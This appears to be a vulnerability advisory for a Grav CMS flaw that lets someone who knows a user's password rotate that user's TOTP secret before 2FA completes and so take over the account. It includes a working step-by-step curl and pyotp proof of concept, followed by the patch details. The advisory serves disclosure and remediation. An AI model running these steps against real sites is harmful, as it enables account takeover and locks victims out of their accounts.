high · 7.4CVE-2026-62669Sep 2, 2026

CVE-2026-62669: Grav CMS 2FA Bypass via Unauthenticated Secret Rotation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Grav CMS lets an attacker who knows a victim's password silently rotate their TOTP secret during login, compute a valid code from the new secret, and log in as that user, completely bypassing…

Packagegetgrav/grav
Ecosystemcomposer
Affected< 2.0.4
Fixed in2.0.4
CVE-2026-62669: Grav CMS 2FA Bypass via Unauthenticated Secret Rotation

The problem

In Grav login plugin v3.8.10, after a user submits valid credentials the session user object is populated before TOTP verification completes. This creates a pending-challenge window where the user exists in session but is not yet authorized.

During this window, the taskRegenerate2FASecret handler checks only $user->exists(), not $user->authorized. No CSRF nonce is required either. An attacker who triggered the password login can immediately call the task endpoint, overwrite the victim's twofa_secret on disk via $user->save(), receive the new secret in the JSON response, generate a valid TOTP code from it, and complete the 2FA challenge.

The victim's real TOTP secret is permanently destroyed, locking them out of their own account.

Proof of concept

A working proof-of-concept for CVE-2026-62669 in getgrav/grav, with the exact payload below.

bash
# Step 1: Password-only login; keep the session cookie in 2fa.jar
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://target/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
  "http://target/grav/login" \
  -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

# Step 2: Rotate the victim's 2FA secret (no nonce, no authorization check)
curl -s -b /tmp/2fa.jar \
  "http://target/grav/login/task:login.regenerate2FASecret"
# Response: {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

# Step 3: Derive a valid TOTP from the attacker-controlled secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656

# Step 4: Complete 2FA with the attacker's code
curl -s -L -b /tmp/2fa.jar -X POST "http://target/grav/login" \
  -d "task=login.twofa&2fa_code=152656"

# Step 5: Confirm full session as victim
curl -s -b /tmp/2fa.jar "http://target/grav/" | grep -o 'Logout'
# Logout

The root cause is a missing authorization gate in Controller.php. The taskRegenerate2FASecret method called $user->exists() instead of $user->authorized, and the task dispatcher did not require a CSRF nonce for this route. Both conditions together make the attack a single unauthenticated GET request on an active pending-challenge session.

The patch in grav-plugin-login v3.8.11 (commit 5d1b722298cb947d8f434025d121b99152a2c630) adds an $user->authorized check at the top of the task handler and requires a valid nonce, so callers who have not completed TOTP verification are rejected before the secret can be overwritten.

CWE-862 (Missing Authorization) and the absent CSRF control are the two precise defects addressed.

The fix

Upgrade getgrav/grav to 2.0.4 and ensure the bundled login plugin is v3.8.11 or later. The plugin update is the critical fix; the taskRegenerate2FASecret handler now requires both $user->authorized and a valid CSRF nonce before touching the TOTP secret.

Reported by nicl4ssic.

References: [1][2][3][4][5][6]

Related research